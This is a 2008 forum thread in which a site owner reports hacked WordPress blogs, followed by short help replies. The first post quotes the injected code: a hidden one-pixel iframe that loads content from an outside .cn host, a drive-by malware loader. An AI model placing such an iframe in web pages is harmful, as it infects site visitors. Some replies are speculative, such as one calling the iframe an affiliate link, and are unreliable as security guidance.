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my wordpress blogs have been hacked
Old 12-30-2008, 08:21 PM my wordpress blogs have been hacked
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All of my wordpress blogs that I have hosted with webstrike solutions are not showing when I navigate to them. When I look at the index.php files they all have this iframe in them "<iframe src="http://yourliteseek.cn/in.cgi?cocacola" width=1 height=1 style="visibility: hidden"></iframe>"

That iframe is in many of the php files in all of my blogs. What is strange is that 2 days ago I navigated to one of my wordpress blogs and windows gave me a Data Execution Prevention error and I had to format my hard drive and install a fresh copy of windows xp. Around the same time I hired a web designer from india to design a web page for me and he was given ftp access to the site that caused the Data Execution Prevention error.

My internet host then sent me a nasty email saying that on December 26 my computer was used as a host to send out a mass email virus. I have been working with websites for 2 1/2 years now and I have never had any problems until now. All of my sites are hosted with webstrike with the exception of 2 that are hosted with Westhost. The 2 sites with Westhost have not been affected, only the sites hosted on Webstrike. Also, on the affected sites, the only parts of the sites that were affected were the wordpress blogs. All other areas of the sites (forums, flash arcade, store, etc) are working fine?

Any suggestions would be appreciated.
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Old 12-31-2008, 08:37 AM Re: my wordpress blogs have been hacked
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Well, it's one of two:
  • The guy you gave access was infected by the virus, and it automatically uploaded itself to your website.
  • The guy uploaded the virus to your website, and he is spreading that virus, which is unlikely in my opinion, because that would expose him.
The link in the iframe seems like an affiliate link, some way to track referrals. That's another reason for me to believe that this was submitted by an automated program.

You saw the data execution prevention error because the website was trying to execute some data on your local machine.

My advice would be to switch to a reliable Linux host if you are using windows hosting at the moment. Wordpress does not need windows to run.
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Old 12-31-2008, 10:35 AM Re: my wordpress blogs have been hacked
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which version of wordpress do you have?
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Old 12-31-2008, 04:43 PM Re: my wordpress blogs have been hacked
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I am using WP 2.6 and I will upgrade immediately
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Old 01-02-2009, 09:59 PM Re: my wordpress blogs have been hacked
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getting a backup restored is the best solution
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